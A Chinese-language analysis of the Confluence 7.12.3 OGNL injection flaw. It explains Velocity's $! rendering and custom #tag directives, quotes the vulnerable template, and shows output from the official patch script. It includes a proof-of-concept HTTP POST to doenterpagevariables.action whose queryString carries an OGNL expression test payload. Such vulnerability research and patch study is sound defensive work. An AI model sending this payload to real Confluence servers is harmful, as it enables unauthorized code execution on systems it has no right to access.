基础知识
Velocity
- .vm 结尾的文件一般为Velocity模板文件
- $action
- $action 是 velocity 上下⽂中的⼀个变量，⼀般在进⾏模板渲染前会设置到 context ⾥⾯。
- $action 是当前访问路由对应的具体 Action 类。
- $action.xxx 表⽰取对应 Action 类的 xxx 属性值
- ${} 和 $!{}
- ${} 输出表达式的计算结果，并进行过滤
- $!{} 原样输出表达式的计算结果，不进行任何过滤
- Velocity自定义标签
- velocity ⾃定义的标签必须实现 Directive 类的 getName()、getType()、render() 三个⽅法。
- getName() ⽅法表⽰标签的名字；getType() ⽅法则表⽰是⾏标签（LINE） 还是块标签（BLOCK）； render() ⽅法则⽤来实现标签的具体处理逻辑。
- velocity.properties 文件
- 模板引擎初始化时会加载此文件
- 配置log, 字符集编码等
- userdirective：自定义函数路径
WebWork
- 路由逻辑
Confluence
- Confluence 7.12.3 依赖 Velocity 1.6.4
- Confluence 自定义 Velocity 标签 Tag
OGNL表达式注入
漏洞环境版本
- 7.12.3
漏洞原理
-
Confluence自定义的tag标签在渲染过程中在渲染$!的变量时会使用Ognl表达式来渲染
-
检查手段被绕过
-
POC
POST /pages/doenterpagevariables.action HTTP/1.1
Host: 0.0.0.0
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: seraph.confluence=10420225%3A99812635f8ead516748600dabcae6fb275114958; JSESSIONID=8476B9EB2D8EF2235053A3CB8A2C0500
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 45queryString=aaaa\u0027%2b#{3*333}%2b\u0027bbb
-
对应模板文件： confluence/pages/createpage-entervariables.vm
<html> <head> #requireResource("confluence.web.resources:page-templates") <title>$action.getText("page.template.wizard")</title> </head>
</html><body> #parse ( "/template/includes/actionerrors.vm" ) #applyDecorator("root") #decoratorParam("helper" $action.helper) #decoratorParam("context" "space-pages") #decoratorParam("mode" "create-page") <div class="padded"> <div class="steptitle" style="margin-top: 10px">$action.getText('pagevariables.step2')</div> <p>$action.getText('text.pagevariables.step2.instructions')</p> <div class="smallfont view-template"> <div class="wiki-content">$action.renderedTemplateContent</div> </div> <form name="filltemplateform" method="POST" action="doenterpagevariables.action"> #form_xsrfToken() #tag ("Hidden" "name='queryString'" "value='$!queryString'") #tag ("Hidden" "name='templateId'" "value='$pageTemplate.id'") #tag ("Hidden" "name='linkCreation'" "value='$linkCreation'") #tag ("Hidden" "name='title'" "value=title") #tag ("Hidden" "name='parentPageId'" "value=parentPageId") #tag ("Hidden" "name='fromPageId'" "value=fromPageId") #tag ("Hidden" "name='spaceKey'" "value=spaceKey") <div class="aui-toolbar2" role="toolbar"> <div class="aui-toolbar2-inner"> <input class="aui-button" type="button" value="$action.getText('back.witharrows.name')" onclick="javascript:history.go(-1)"> #tag( "Submit" "name='confirm'" "id=confirm" "value='next.name'" "theme='notable'" "cssClass='aui-button'") </div> </div> </form> #parse ( "/pages/page-breadcrumbs.vm" ) </div> #end </body>
漏洞修复
补丁
-
补丁脚本运行结果
File 1: 'confluence/users/user-dark-features.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
70c70
< #tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")#tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value=featureKey" "theme='aui'" "template='text.vm'")d. validating file changes.. ok e. file updated successfully!File 2: 'confluence/login.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
147c147
< #tag( "Hidden" "name='token'" "value='$!action.token'" )#tag( "Hidden" "name='token'" "value=token" )d. validating file changes.. ok e. file updated successfully!File 3: 'confluence/pages/createpage-entervariables.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
24c24
< #tag ("Hidden" "name='queryString'" "value='$!queryString'")#tag ("Hidden" "name='queryString'" "value=queryString")26c26
< #tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")#tag ("Hidden" "name='linkCreation'" "value=linkCreation")d. validating file changes..ok e. file updated successfully!File 4: 'confluence/template/custom/content-editor.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
64c64
< #tag ("Hidden" "name='queryString'" "value='$!queryString'")#tag ("Hidden" "name='queryString'" "value=queryString")85c85
< #tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value=templateId")d. file updated successfully!File 5: 'confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader*.jar':
a. extracting templates/editor-preload-container.vm from confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar..
Archive: confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar
inflating: ./templates/editor-preload-container.vm
b. updating file.. done
c. showing file changes..
56c56
< #tag ("Hidden" "id=syncRev" "name='syncRev'" "value='$!{action.syncRev}'")#tag ("Hidden" "id=syncRev" "name='syncRev'" "value=syncRev")
d. validating file changes.. ok
e. updating confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar with ./templates/editor-preload-container.vm..updating: templates/editor-preload-container.vm (deflated 59%)
-rw-r--r-- 1 zhangxinqi staff 13369 8 27 02:02 confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar
f. cleaning up temp files..ok
g. extracting templates/editor-preload-container.vm from confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar again to check changes within JAR..
Archive: confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.3.jar
inflating: ./templates/editor-preload-container.vm
h. validating file changes for file within updated JAR.. ok
i. cleaning up temp files..okUpdate completed!
-
将模板文件中的
$!删除 -
将
$action$!action都删除 -
所有的改动都位于tag标签下
-
涉及5个文件的更改
- confluence/users/user-dark-features.vm
- confluence/login.vm
- 注册功能
- confluence/pages/createpage-entervariables.vm
- confluence/template/custom/content-editor.vm
* - templates/editor-preload-container.vm